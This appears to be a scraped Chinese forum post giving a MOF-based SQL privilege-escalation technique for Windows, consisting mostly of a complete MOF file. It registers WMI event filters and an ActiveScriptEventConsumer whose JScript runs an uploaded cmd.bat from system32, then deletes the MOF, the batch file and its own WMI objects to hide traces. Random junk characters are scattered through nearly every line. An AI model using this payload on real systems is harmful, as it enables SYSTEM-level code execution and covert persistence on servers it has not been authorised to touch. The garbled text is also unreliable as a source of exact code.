这个sql提权MOF需要运行 system下的文件,不能定义路径。5 |4 A2 b: J! t6 U; y6 Z3 ~( ~
需要将要运行的命令写入到bat上传到system32目录,然后执行。
" \4 [, `0 a, K0 u/ d
! x6 R! q! g; F* j这个sql提权MOF需要运行 system下的文件,不能定义路径。9 w0 C. I4 B+ h" I
需要将要运行的命令写入到bat上传到system32目录,然后执行。
- ^2 a* P! D7 \2 j1 I# p
% r7 \4 c; n" u8 g6 c* }- E4 {% c/ R#pragma( z% v, ~. f7 U6 y. x" _
namespace("\\\\.\\root\\cimv2")# t2 @6 \. d- O) v
class
5 G5 P: k9 M! W, p! C% r MyClass547
" ~6 a" m' a9 N$ k4 t0 i { [key]
0 V( Q5 C6 x% k* z2 z( ~ string
1 g& _+ C/ r1 `! }. h/ E& y& j Name;" _8 c1 m. J0 m/ d, c8 z9 s/ u
};9 y. n; I/ j7 u+ ?
class
/ o. x; v& F) X2 Y ActiveScriptEventConsumer
1 P7 s. u* Y( b! J) P : __EventConsumer { [key]
& a x; H' l6 Q5 z* P string
3 \. E0 ?3 J6 f/ `# h* w) @ Name; [not_null]
) A/ y" k7 Q6 o: D string
+ |! a& |) z5 s8 ^ ScriptingEngine; string: o9 d1 d' n. }0 \8 ? h
ScriptFileName; [template]
8 D# g1 V1 x" X$ ~& k string* K' B4 P+ @! \9 W- n- _3 e1 Q# `
ScriptText; uint32 KillTimeout;
4 H, f S- v3 x: ?7 \. {( c }; instance of __Win32Provider as $P {; s- K5 @0 X2 N
Name
4 m# U- ?7 g- p& _! ]: O =
" ~- Z4 P m5 T; |' `3 y$ z "ActiveScriptEventConsumer"; CLSID =8 J2 M9 W) c% y; w
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";2 U+ m" m: r* J" V" {- F
PerUserInitialization
7 Q" Z# O3 ?( s2 P* q. T7 @ = TRUE;
4 c9 R9 h( c1 {8 n* k% e0 }* k }; instance of __EventConsumerProviderRegistration { Provider
$ L: k! m# u1 {7 G6 e' U6 L = $P; ConsumerClassNames
& ~1 J, _& @2 w5 ?" z/ p* x =+ Z0 f: T7 Q7 i
{"ActiveScriptEventConsumer"};: }5 G" T$ a$ X
};: f7 E {: N. j& \
Instance of ActiveScriptEventConsumer+ m2 M7 ~( l9 L
as $cons { Name
& b3 @% D7 f) i2 Q T' w% | =7 B/ d2 D4 p) @. W+ T6 n
"ASEC"; ScriptingEngine$ j2 w7 K8 x e: `3 d' ]& `- C, b
= Y6 D: q: s/ z3 D/ S a
"JScript"; ScriptText( Z9 q6 [# U; x& j+ p
=/ F. }+ _- e, H* G
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
! T' W5 B D, r3 ~) I Instance of ActiveScriptEventConsumer: Y, l/ s. L; b! q& o p
as $cons2 { Name5 m" M5 J5 h9 o4 T8 L
=* l: E" {, ~- |/ q3 ]( u
"qndASEC"; ScriptingEngine
: x. G+ j7 c6 } =
7 l( M' N) C8 Z9 m0 p' m- A "JScript"; ScriptText( Y" M& c. r- v# K, x1 s. [
=7 Y3 c- z- w4 {8 u( f( [7 ]& q
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};"; C, M0 k- C1 i( P& d' r- P/ C
}; instance of __EventFilter as $Filt { Name
. v2 p5 m% Y& k7 w1 L0 P =
* J' I0 D! ?- A- ^; B% B "instfilt"; Query
8 I0 ?1 H7 T5 M6 I7 I =
2 |- C/ q$ |1 L5 Z- x "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage0 N1 j7 L! m I! N z3 h
=- X1 r. ^; A1 e: g
"WQL"; }; instance of __EventFilter as $Filt2 { Name
3 I5 p6 F4 E& W$ |% u =
! F. [1 d9 v% Z! \2 ]3 Y2 x "qndfilt"; Query
% ]2 Q c% i+ `1 B) }! b* R8 S6 X% W =
& k1 Y, Z8 M: t6 z% J2 R# z" _! ? "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage( y2 N G8 p- T; Z3 J& [# `3 }
=7 O5 s: e' m/ N1 L* E
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
. W$ c4 {% }8 x! B9 A0 w = $cons; Filter
# S5 O7 M, v/ l = $Filt;9 D; v& a1 X- q3 _7 l3 d( f* F
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
+ s2 c0 k% T6 h5 n, k = $cons2; Filter
4 w5 k" B4 r' A0 _ = $Filt2;
3 ^8 x n: M0 L1 x6 h" [5 u9 ]# U }; instance of MyClass5478 D! ?, o- ~' `, O
as $MyClass { Name
6 D2 _4 p7 y6 c$ @ =
, t: @ ?) L8 u/ [ x. r3 |' g "ClassConsumer";
0 Z$ W" N5 H$ q* b4 B8 w A }; |